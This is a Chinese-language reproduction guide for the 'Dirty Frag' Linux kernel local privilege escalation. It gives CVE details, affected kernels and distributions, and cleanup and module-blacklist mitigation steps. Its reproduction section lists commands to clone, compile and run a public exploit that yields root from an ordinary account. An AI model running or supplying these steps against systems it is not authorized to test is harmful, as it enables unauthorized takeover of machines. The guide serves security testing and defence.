DirtyFrag题权漏洞主流linux发行版本复现

DirtyFrag题权漏洞主流linux发行版本复现

一、漏洞概述

  1. 漏洞名称:Dirty Frag(脏碎片)

  2. 漏洞类型:Linux 内核本地提权(LPE)

  3. 漏洞编号:

    • CVE-2026-43284(xfrm-ESP Page-Cache Write)
    • CVE-2026-43500(RxRPC Page-Cache Write)
  4. 漏洞原理:

    由安全研究员 Hyunwoo Kim (@v4bel) 发现,通过串联上述两个内核页面缓存写入漏洞,可在主流 Linux 发行版中从普通权限提升至 root 权限;该漏洞属于 Dirty Pipe、Copy Fail 同源漏洞类,无竞态条件、确定性逻辑漏洞、利用失败不会导致内核崩溃、成功率高。

  5. 补丁信息:

    • CVE-2026-43284 修复提交:f4c50a4034e6
    • CVE-2026-43500 修复提交:aa54b1d27fe0

二、受影响版本

2.1 内核影响范围

  • CVE-2026-43284:Linux 内核 cac2661c53f3 (2017-01-17) ~ f4c50a4034e6 (2026-05-05)
  • CVE-2026-43500:Linux 内核 2dc334f1a63a (2023-06-08) ~ aa54b1d27fe0 (2026-05-10)
  • 漏洞有效周期:约 9 年

2.2 本次复现环境及贴图标注位置

  1. Ubuntu 24.04.4 内核:6.17.0-23-generic

dirtyfragubuntu24.04漏洞复现.png

以下版本也存在漏洞

  1. RHEL 10.1 内核:6.12.0-124.49.1.el10_1.x86_64
  2. openSUSE Tumbleweed 内核:7.0.2-1-default
  3. CentOS Stream 10 内核:6.12.0-224.el10.x86_64
  4. AlmaLinux 10 内核:6.12.0-124.52.3.el10_1.x86_64
  5. Fedora 44 内核:6.19.14-300.fc44.x86_64

三、复现环境要求

  1. 系统:上述标注的 6 款主流 Linux 发行版
  2. 依赖:gitgcc(编译漏洞利用代码)
  3. 权限:普通用户权限即可触发提权

四、漏洞复现步骤

前置依赖安装(若未安装)

# Ubuntu/Debian 系
sudo apt update && sudo apt install git gcc -y

# RHEL/CentOS/Fedora 系
sudo dnf install git gcc -y

# openSUSE 系
sudo zypper install git gcc

分步执行(推荐,规避复制粘贴隐形字符问题)

# 1. 克隆漏洞仓库
git clone https://github.com/V4bel/dirtyfrag.git

# 2. 进入目录
cd dirtyfrag

# 3. 编译利用代码
gcc -O0 -Wall -o exp exp.c -lutil

# 4. 执行提权
./exp

执行成功后,直接获取 root 权限。

五、漏洞利用后清理(必做)

漏洞利用会污染内核页面缓存,必须执行清理操作保证系统稳定:

方法 1:清除页面缓存(无需重启)

sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'

方法 2:重启系统(彻底清理)

sudo reboot

六、漏洞缓解 / 修复方案

6.1 临时缓解(立即生效,禁用漏洞模块)

sudo sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"

6.2 永久修复

等待 Linux 发行版官方推送内核补丁,执行系统更新即可。

七、重要声明

  1. 该漏洞 PoC 仅用于授权环境下的安全测试
  2. 严禁在未获得授权的系统上使用,一切非法使用后果自负;
  3. 复现完成后请立即执行清理 / 修复操作。

八、核心 FAQ

  1. 为什么要串联两个漏洞?
  • xfrm-ESP 漏洞需要命名空间权限,Ubuntu 会通过 AppArmor 限制;
  • RxRPC 漏洞无需命名空间权限,但仅 Ubuntu 默认加载对应模块;
  • 双漏洞串联可覆盖所有主流发行版,无利用盲区。
  1. 与 Copy Fail 漏洞的关系?

    同源漏洞,但 Dirty Frag 不依赖 algif_aead 模块,即使已修复 Copy Fail,系统仍会受 Dirty Frag 影响

  2. 漏洞利用是否会导致系统崩溃?

    不会,确定性漏洞,无竞态条件,利用失败内核不会 panic。